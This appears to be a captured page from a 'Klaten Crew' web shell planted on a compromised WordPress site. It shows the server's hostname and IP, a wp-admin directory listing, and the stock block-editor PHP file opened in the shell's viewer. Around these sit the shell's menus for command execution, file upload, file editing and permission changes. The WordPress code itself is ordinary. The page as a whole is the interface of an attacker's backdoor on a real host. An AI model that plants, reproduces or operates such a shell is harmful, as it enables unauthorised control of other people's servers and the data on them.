Klaten Crew WebShell - proturismo.ipifap.org

HanJsXploit Klaten Crew

Linux r5.a1center.net 4.18.0-513.5.1.lve.el8.x86_64 #1 SMP Tue Nov 21 10:14:49 UTC 2023 x86_64
Apache
Server: 167.114.27.228
Your IP: 216.73.217.47

HOME

Name	Type	Size	Permissions	Modified	Actions
..	Parent	-	drwxr-xr-x	2026-07-27 18:29:15	-
css	Folder	-	0755	2026-05-26 01:27:38
images	Folder	-	0755	2026-05-26 01:27:38
includes	Folder	-	0755	2026-02-26 20:09:41
js	Folder	-	0755	2025-03-07 15:08:26
maint	Folder	-	0755	2025-03-07 15:08:26
network	Folder	-	0755	2025-03-07 15:08:26
user	Folder	-	0755	2025-03-07 15:08:26
about.php	File	17.38 KB	0644	2026-07-17 19:28:51
admin-ajax.php	File	5.03 KB	0644	2024-07-04 16:22:14
admin-footer.php	File	2.75 KB	0644	2026-01-05 21:04:58
admin-functions.php	File	479 B	0644	2025-01-22 19:06:22
admin-header.php	File	9.07 KB	0644	2026-02-15 13:02:42
admin-post.php	File	1.97 KB	0644	2025-01-16 21:18:24
admin.php	File	12.63 KB	0644	2026-03-13 04:24:40
async-upload.php	File	5.47 KB	0644	2025-08-27 15:34:28
authorize-application.php	File	10.09 KB	0644	2023-09-14 05:54:20
comment.php	File	11.37 KB	0644	2026-03-07 04:20:46
contribute.php	File	5.9 KB	0644	2026-07-17 09:47:42
credits.php	File	4.42 KB	0644	2026-07-17 09:47:41
custom-background.php	File	489 B	0644	2025-01-22 19:06:22
custom-header.php	File	499 B	0644	2025-01-22 19:06:22
customize.php	File	11.21 KB	0644	2026-05-13 12:20:44
edit-comments.php	File	14.14 KB	0644	2026-02-13 22:52:44
edit-form-advanced.php	File	28.79 KB	0644	2026-01-05 21:04:58
edit-form-blocks.php	File	14.73 KB	0644	2026-02-20 16:52:24
edit-form-comment.php	File	8.33 KB	0644	2026-02-16 22:02:48
edit-link-form.php	File	6.21 KB	0644	2025-02-08 16:44:24
edit-tag-form.php	File	10.42 KB	0644	2026-01-05 21:04:58
edit-tags.php	File	21.98 KB	0644	2026-01-05 21:04:58
edit.php	File	19.48 KB	0644	2024-10-04 03:46:16
erase-personal-data.php	File	7.33 KB	0644	2024-04-18 01:21:16
error_log	File	3.89 KB	0644	2026-06-13 14:47:14
export-personal-data.php	File	7.75 KB	0644	2024-04-18 01:21:16
export.php	File	11 KB	0644	2026-01-05 21:04:58
font-library.php	File	1.01 KB	0644	2026-01-19 22:00:30
freedoms.php	File	4.84 KB	0644	2026-07-17 09:47:42
import.php	File	7.58 KB	0644	2025-02-25 23:34:16
index.php	File	7.68 KB	0644	2023-09-14 05:54:20
install-helper.php	File	6.8 KB	0644	2022-11-20 19:10:16
install.php	File	17.91 KB	0644	2026-02-19 02:14:48
link-add.php	File	934 B	0644	2025-02-08 16:44:24
link-manager.php	File	4.26 KB	0644	2025-02-08 16:44:24
link-parse-opml.php	File	2.63 KB	0644	2026-01-09 07:40:54
link.php	File	2.89 KB	0644	2024-05-01 23:01:12
load-scripts.php	File	2.02 KB	0644	2024-08-26 04:48:14
load-styles.php	File	2.92 KB	0644	2024-11-04 20:51:18
media-new.php	File	3.17 KB	0644	2026-02-01 15:18:40
media-upload.php	File	3.58 KB	0644	2025-02-08 20:53:18
media.php	File	819 B	0644	2024-05-01 23:01:12
menu-header.php	File	9.82 KB	0644	2025-02-21 02:29:22
menu.php	File	17.72 KB	0644	2026-04-27 05:04:40
moderation.php	File	307 B	0644	2020-02-06 11:33:12
ms-admin.php	File	196 B	0644	2020-02-06 11:33:12
ms-delete-site.php	File	4.5 KB	0644	2025-04-21 16:49:32
ms-edit.php	File	216 B	0644	2020-02-06 11:33:12
ms-options.php	File	229 B	0644	2024-06-22 16:47:16
ms-sites.php	File	215 B	0644	2020-02-06 11:33:12
ms-themes.php	File	217 B	0644	2020-02-06 11:33:12
ms-upgrade-network.php	File	219 B	0644	2020-02-06 11:33:12
ms-users.php	File	215 B	0644	2020-02-06 11:33:12
my-sites.php	File	4.72 KB	0644	2026-01-06 10:57:56
nav-menus.php	File	49.07 KB	0644	2026-02-17 11:47:40
network.php	File	5.39 KB	0644	2024-03-09 03:38:08
options-connectors.php	File	1.07 KB	0644	2026-03-05 17:09:16
options-discussion.php	File	15.92 KB	0644	2025-11-11 03:51:36
options-general.php	File	22.32 KB	0644	2026-02-28 04:43:42
options-head.php	File	621 B	0644	2025-01-22 19:06:22
options-media.php	File	6.38 KB	0644	2025-09-29 03:38:32
options-permalink.php	File	21.89 KB	0644	2026-03-05 00:48:42
options-privacy.php	File	9.92 KB	0644	2026-01-09 09:22:50
options-reading.php	File	9.97 KB	0644	2026-03-23 04:06:56
options-writing.php	File	9.1 KB	0644	2026-05-08 20:59:44
options.php	File	13.93 KB	0644	2026-05-08 20:59:44
plugin-editor.php	File	13.75 KB	0644	2025-10-14 02:50:28
plugin-install.php	File	6.96 KB	0644	2024-02-20 12:27:06
plugins.php	File	30 KB	0644	2025-10-14 04:12:28
post-new.php	File	2.7 KB	0644	2024-06-15 17:34:14
post.php	File	10.03 KB	0644	2025-09-06 11:49:32
press-this.php	File	2.41 KB	0644	2026-02-20 07:25:46
privacy-policy-guide.php	File	3.67 KB	0644	2023-11-22 22:44:24
privacy.php	File	2.83 KB	0644	2026-07-17 09:47:42
profile.php	File	283 B	0644	2020-02-06 11:33:12
revision.php	File	5.7 KB	0644	2025-10-07 19:30:30
setup-config.php	File	17.52 KB	0644	2026-02-19 02:14:48
site-editor.php	File	12.07 KB	0644	2026-02-20 16:52:24
site-health-info.php	File	4.05 KB	0644	2026-02-12 02:10:40
site-health.php	File	10.18 KB	0644	2026-01-06 10:57:56
term.php	File	2.2 KB	0644	2022-06-01 23:14:10
theme-editor.php	File	16.87 KB	0644	2025-10-16 05:16:32
theme-install.php	File	23.65 KB	0644	2026-07-17 09:47:42
themes.php	File	48.25 KB	0644	2026-07-17 09:47:42
tools.php	File	3.43 KB	0644	2023-02-23 15:38:22
update-core.php	File	45.12 KB	0644	2026-01-23 23:14:36
update.php	File	12.76 KB	0644	2026-01-09 07:48:52
upgrade-functions.php	File	341 B	0644	2020-02-06 11:33:12
upgrade.php	File	6.24 KB	0644	2026-02-19 02:14:48
upload.php	File	14.9 KB	0644	2026-01-09 07:26:54
user-edit.php	File	40.35 KB	0644	2026-04-27 11:12:44
user-new.php	File	24.06 KB	0644	2026-02-16 22:02:48
users.php	File	23.44 KB	0644	2026-03-14 13:15:46
widgets-form-blocks.php	File	5.12 KB	0644	2025-08-27 15:34:28
widgets-form.php	File	19.14 KB	0644	2026-02-19 03:03:44
widgets.php	File	1.09 KB	0644	2022-03-23 00:59:04

<?php
/**
 * The block editor page.
 *
 * @since 5.0.0
 *
 * @package WordPress
 * @subpackage Administration
 */

// Don't load directly.
if ( ! defined( 'ABSPATH' ) ) {
	die( '-1' );
}

/**
 * @global string       $post_type        Global post type.
 * @global WP_Post_Type $post_type_object Global post type object.
 * @global WP_Post      $post             Global post object.
 * @global string       $title            The title of the current screen.
 * @global array        $wp_meta_boxes    Global meta box state.
 */
global $post_type, $post_type_object, $post, $title, $wp_meta_boxes;

$block_editor_context = new WP_Block_Editor_Context( array( 'post' => $post ) );

// Flag that we're loading the block editor.
$current_screen = get_current_screen();
$current_screen->is_block_editor( true );

// Default to is-fullscreen-mode to avoid jumps in the UI.
add_filter(
	'admin_body_class',
	static function ( $classes ) {
		return "$classes is-fullscreen-mode";
	}
);

/*
 * Emoji replacement is disabled for now, until it plays nicely with React.
 */
remove_action( 'admin_print_scripts', 'print_emoji_detection_script' );

/*
 * Block editor implements its own Options menu for toggling Document Panels.
 */
add_filter( 'screen_options_show_screen', '__return_false' );

wp_enqueue_script( 'heartbeat' );
wp_enqueue_script( 'wp-edit-post' );

$rest_path = rest_get_route_for_post( $post );

$active_theme                   = get_stylesheet();
$global_styles_endpoint_context = current_user_can( 'edit_theme_options' ) ? 'edit' : 'view';
$template_lookup_slug           = 'page' === $post->post_type ? 'page' : 'single-' . $post->post_type;
if ( ! empty( $post->post_name ) ) {
	$template_lookup_slug .= '-' . $post->post_name;
}
// Preload common data.
$preload_paths = array(
	'/wp/v2/types?context=view',
	'/wp/v2/taxonomies?context=view',
	add_query_arg( 'context', 'edit', $rest_path ),
	sprintf( '/wp/v2/types/%s?context=edit', $post_type ),
	'/wp/v2/users/me',
	array( rest_get_route_for_post_type_items( 'attachment' ), 'OPTIONS' ),
	array( rest_get_route_for_post_type_items( 'page' ), 'OPTIONS' ),
	array( rest_get_route_for_post_type_items( 'wp_block' ), 'OPTIONS' ),
	array( rest_get_route_for_post_type_items( 'wp_template' ), 'OPTIONS' ),
	sprintf( '%s/autosaves?context=edit', $rest_path ),
	'/wp/v2/settings',
	array( '/wp/v2/settings', 'OPTIONS' ),
	'/wp/v2/global-styles/themes/' . $active_theme . '?context=view',
	'/wp/v2/global-styles/themes/' . $active_theme . '/variations?context=view',
	'/wp/v2/themes?context=edit&status=active',
	array( '/wp/v2/global-styles/' . WP_Theme_JSON_Resolver::get_user_global_styles_post_id(), 'OPTIONS' ),
	/*
	 * Preload the global styles path with the correct context based on user caps.
	 * NOTE: There is an equivalent conditional check in the client-side code to fetch
	 * the global styles entity using the appropriate context value.
	 * See the call to `canUser()`, under `useGlobalStylesUserConfig()` in `packages/edit-site/src/components/use-global-styles-user-config/index.js`.
	 * Please ensure that the equivalent check is kept in sync with this preload path.
	 */
	'/wp/v2/global-styles/' . WP_Theme_JSON_Resolver::get_user_global_styles_post_id() . '?context=' . $global_styles_endpoint_context,
	// Used by getBlockPatternCategories in useBlockEditorSettings.
	'/wp/v2/block-patterns/categories',
	// @see packages/core-data/src/entities.js
	'/?_fields=' . implode(
		',',
		array(
			'description',
			'gmt_offset',
			'home',
			'image_sizes',
			'image_size_threshold',
			'image_output_formats',
			'jpeg_interlaced',
			'png_interlaced',
			'gif_interlaced',
			'name',
			'site_icon',
			'site_icon_url',
			'site_logo',
			'timezone_string',
			'url',
			'page_for_posts',
			'page_on_front',
			'show_on_front',
		)
	),
	$paths[] = add_query_arg(
		'slug',
		// @link https://github.com/WordPress/gutenberg/blob/e093fefd041eb6cc4a4e7f67b92ab54fd75c8858/packages/core-data/src/private-selectors.ts#L244-L254
		$template_lookup_slug,
		'/wp/v2/templates/lookup'
	),
);

block_editor_rest_api_preload( $preload_paths, $block_editor_context );

wp_add_inline_script(
	'wp-blocks',
	sprintf( 'wp.blocks.setCategories( %s );', wp_json_encode( get_block_categories( $post ), JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) ),
	'after'
);

/*
 * Assign initial edits, if applicable. These are not initially assigned to the persisted post,
 * but should be included in its save payload.
 */
$initial_edits = array();
$is_new_post   = false;
if ( 'auto-draft' === $post->post_status ) {
	$is_new_post = true;
	// Override "(Auto Draft)" new post default title with empty string, or filtered value.
	if ( post_type_supports( $post->post_type, 'title' ) ) {
		$initial_edits['title'] = $post->post_title;
	}

if ( post_type_supports( $post->post_type, 'editor' ) ) {
		$initial_edits['content'] = $post->post_content;
	}

if ( post_type_supports( $post->post_type, 'excerpt' ) ) {
		$initial_edits['excerpt'] = $post->post_excerpt;
	}
}

// Preload server-registered block schemas.
wp_add_inline_script(
	'wp-blocks',
	'wp.blocks.unstable__bootstrapServerSideBlockDefinitions(' . wp_json_encode( get_block_editor_server_block_settings(), JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) . ');'
);

// Preload server-registered block bindings sources.
$registered_sources = get_all_registered_block_bindings_sources();
if ( ! empty( $registered_sources ) ) {
	$filtered_sources = array();
	foreach ( $registered_sources as $source ) {
		$filtered_sources[] = array(
			'name'        => $source->name,
			'label'       => $source->label,
			'usesContext' => $source->uses_context,
		);
	}
	$script = sprintf( 'for ( const source of %s ) { wp.blocks.registerBlockBindingsSource( source ); }', wp_json_encode( $filtered_sources, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) );
	wp_add_inline_script(
		'wp-blocks',
		$script
	);
}

// Get admin url for handling meta boxes.
$meta_box_url = admin_url( 'post.php' );
$meta_box_url = add_query_arg(
	array(
		'post'                  => $post->ID,
		'action'                => 'edit',
		'meta-box-loader'       => true,
		'meta-box-loader-nonce' => wp_create_nonce( 'meta-box-loader' ),
	),
	$meta_box_url
);
wp_add_inline_script(
	'wp-editor',
	sprintf( 'var _wpMetaBoxUrl = %s;', wp_json_encode( $meta_box_url, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) ),
	'before'
);

// Set Heartbeat interval to 10 seconds, used to refresh post locks.
wp_add_inline_script(
	'heartbeat',
	'jQuery( function() {
		wp.heartbeat.interval( 10 );
	} );',
	'after'
);

/*
 * Get all available templates for the post/page attributes meta-box.
 * The "Default template" array element should only be added if the array is
 * not empty so we do not trigger the template select element without any options
 * besides the default value.
 */
$available_templates = wp_get_theme()->get_page_templates( get_post( $post->ID ) );
$available_templates = ! empty( $available_templates ) ? array_replace(
	array(
		/** This filter is documented in wp-admin/includes/meta-boxes.php */
		'' => apply_filters( 'default_page_template_title', __( 'Default template' ), 'rest-api' ),
	),
	$available_templates
) : $available_templates;

// Lock settings.
$user_id = wp_check_post_lock( $post->ID );
if ( $user_id ) {
	$locked = false;

/** This filter is documented in wp-admin/includes/post.php */
	if ( apply_filters( 'show_post_locked_dialog', true, $post, $user_id ) ) {
		$locked = true;
	}

$user_details = null;
	if ( $locked ) {
		$user         = get_userdata( $user_id );
		$user_details = array(
			'name' => $user->display_name,
		);

if ( get_option( 'show_avatars' ) ) {
			$user_details['avatar'] = get_avatar_url( $user_id, array( 'size' => 128 ) );
		}
	}

$lock_details = array(
		'isLocked' => $locked,
		'user'     => $user_details,
	);
} else {
	// Lock the post.
	$active_post_lock = wp_set_post_lock( $post->ID );
	if ( $active_post_lock ) {
		$active_post_lock = esc_attr( implode( ':', $active_post_lock ) );
	}

$lock_details = array(
		'isLocked'       => false,
		'activePostLock' => $active_post_lock,
	);
}

/**
 * Filters the body placeholder text.
 *
 * @since 5.0.0
 * @since 5.8.0 Changed the default placeholder text.
 *
 * @param string  $text Placeholder text. Default 'Type / to choose a block'.
 * @param WP_Post $post Post object.
 */
$body_placeholder = apply_filters( 'write_your_story', __( 'Type / to choose a block' ), $post );

$editor_settings = array(
	'availableTemplates'   => $available_templates,
	'disablePostFormats'   => ! current_theme_supports( 'post-formats' ),
	/** This filter is documented in wp-admin/edit-form-advanced.php */
	'titlePlaceholder'     => apply_filters( 'enter_title_here', __( 'Add title' ), $post ),
	'bodyPlaceholder'      => $body_placeholder,
	'autosaveInterval'     => AUTOSAVE_INTERVAL,
	'richEditingEnabled'   => user_can_richedit(),
	'postLock'             => $lock_details,
	'postLockUtils'        => array(
		'nonce'       => wp_create_nonce( 'lock-post_' . $post->ID ),
		'unlockNonce' => wp_create_nonce( 'update-post_' . $post->ID ),
		'ajaxUrl'     => admin_url( 'admin-ajax.php' ),
	),
	'supportsLayout'       => wp_theme_has_theme_json(),
	'supportsTemplateMode' => current_theme_supports( 'block-templates' ),

// Whether or not to load the 'postcustom' meta box is stored as a user meta
	// field so that we're not always loading its assets.
	'enableCustomFields'   => (bool) get_user_meta( get_current_user_id(), 'enable_custom_fields', true ),
);

// Add additional back-compat patterns registered by `current_screen` et al.
$editor_settings['__experimentalAdditionalBlockPatterns']          = WP_Block_Patterns_Registry::get_instance()->get_all_registered( true );
$editor_settings['__experimentalAdditionalBlockPatternCategories'] = WP_Block_Pattern_Categories_Registry::get_instance()->get_all_registered( true );

$autosave = wp_get_post_autosave( $post->ID );
if ( $autosave ) {
	if ( mysql2date( 'U', $autosave->post_modified_gmt, false ) > mysql2date( 'U', $post->post_modified_gmt, false ) ) {
		$editor_settings['autosave'] = array(
			'editLink' => get_edit_post_link( $autosave->ID ),
		);
	} else {
		wp_delete_post_revision( $autosave->ID );
	}
}

if ( ! empty( $post_type_object->template ) ) {
	$editor_settings['template']     = $post_type_object->template;
	$editor_settings['templateLock'] = ! empty( $post_type_object->template_lock ) ? $post_type_object->template_lock : false;
}

// If there's no template set on a new post, use the post format, instead.
if ( $is_new_post && ! isset( $editor_settings['template'] ) && 'post' === $post->post_type ) {
	$post_format = get_post_format( $post );
	if ( in_array( $post_format, array( 'audio', 'gallery', 'image', 'quote', 'video' ), true ) ) {
		$editor_settings['template'] = array( array( "core/$post_format" ) );
	}
}

if ( wp_is_block_theme() && $editor_settings['supportsTemplateMode'] ) {
	$editor_settings['defaultTemplatePartAreas'] = get_allowed_block_template_part_areas();
}

/**
 * Scripts
 */
wp_enqueue_media(
	array(
		'post' => $post->ID,
	)
);
wp_tinymce_inline_scripts();
wp_enqueue_editor();

/**
 * Styles
 */
wp_enqueue_style( 'wp-edit-post' );

/**
 * Fires after block assets have been enqueued for the editing interface.
 *
 * Call `add_action` on any hook before 'admin_enqueue_scripts'.
 *
 * In the function call you supply, simply use `wp_enqueue_script` and
 * `wp_enqueue_style` to add your functionality to the block editor.
 *
 * @since 5.0.0
 */
do_action( 'enqueue_block_editor_assets' );

// In order to duplicate classic meta box behavior, we need to run the classic meta box actions.
require_once ABSPATH . 'wp-admin/includes/meta-boxes.php';
register_and_do_post_meta_boxes( $post );

// Check if the Custom Fields meta box has been removed at some point.
$core_meta_boxes = $wp_meta_boxes[ $current_screen->id ]['normal']['core'];
if ( ! isset( $core_meta_boxes['postcustom'] ) || ! $core_meta_boxes['postcustom'] ) {
	unset( $editor_settings['enableCustomFields'] );
}

$editor_settings = get_block_editor_settings( $editor_settings, $block_editor_context );

$init_script = <<<JS
( function() {
	window._wpLoadBlockEditor = new Promise( function( resolve ) {
		wp.domReady( function() {
			resolve( wp.editPost.initializeEditor( 'editor', "%s", %d, %s, %s ) );
		} );
	} );
} )();
JS;

$script = sprintf(
	$init_script,
	$post->post_type,
	$post->ID,
	wp_json_encode( $editor_settings, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ),
	wp_json_encode( $initial_edits, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES )
);
wp_add_inline_script( 'wp-edit-post', $script );

if ( (int) get_option( 'page_for_posts' ) === $post->ID ) {
	add_action( 'admin_enqueue_scripts', '_wp_block_editor_posts_page_notice' );
}

require_once ABSPATH . 'wp-admin/admin-header.php';
?>

<?php // JavaScript is disabled. ?>
	<div class="wrap hide-if-js block-editor-no-js">
		<h1 class="wp-heading-inline"><?php echo esc_html( $title ); ?></h1>
		<?php
		if ( file_exists( WP_PLUGIN_DIR . '/classic-editor/classic-editor.php' ) ) {
			// If Classic Editor is already installed, provide a link to activate the plugin.
			$installed           = true;
			$plugin_activate_url = wp_nonce_url( 'plugins.php?action=activate&amp;plugin=classic-editor/classic-editor.php', 'activate-plugin_classic-editor/classic-editor.php' );
			$message             = sprintf(
				/* translators: %s: Link to activate the Classic Editor plugin. */
				__( 'The block editor requires JavaScript. Please enable JavaScript in your browser settings, or activate the <a href="%s">Classic Editor plugin</a>.' ),
				esc_url( $plugin_activate_url )
			);
		} else {
			// If Classic Editor is not installed, provide a link to install it.
			$installed          = false;
			$plugin_install_url = wp_nonce_url( self_admin_url( 'update.php?action=install-plugin&plugin=classic-editor' ), 'install-plugin_classic-editor' );
			$message            = sprintf(
				/* translators: %s: Link to install the Classic Editor plugin. */
				__( 'The block editor requires JavaScript. Please enable JavaScript in your browser settings, or install the <a href="%s">Classic Editor plugin</a>.' ),
				esc_url( $plugin_install_url )
			);
		}

/**
		 * Filters the message displayed in the block editor interface when JavaScript is
		 * not enabled in the browser.
		 *
		 * @since 5.0.3
		 * @since 6.4.0 Added `$installed` parameter.
		 *
		 * @param string  $message   The message being displayed.
		 * @param WP_Post $post      The post being edited.
		 * @param bool    $installed Whether the classic editor is installed.
		 */
		$message = apply_filters( 'block_editor_no_javascript_message', $message, $post, $installed );
		wp_admin_notice(
			$message,
			array(
				'type' => 'error',
			)
		);
		?>
	</div>
</div>

HanJsXploit Klaten Crew

Command Execution

File Upload

HanJsXploit Klaten Crew

Command Execution

File Upload

Create New Folder

Create New File

Edit File: edit-form-blocks.php

Rename

Change Permissions

System Information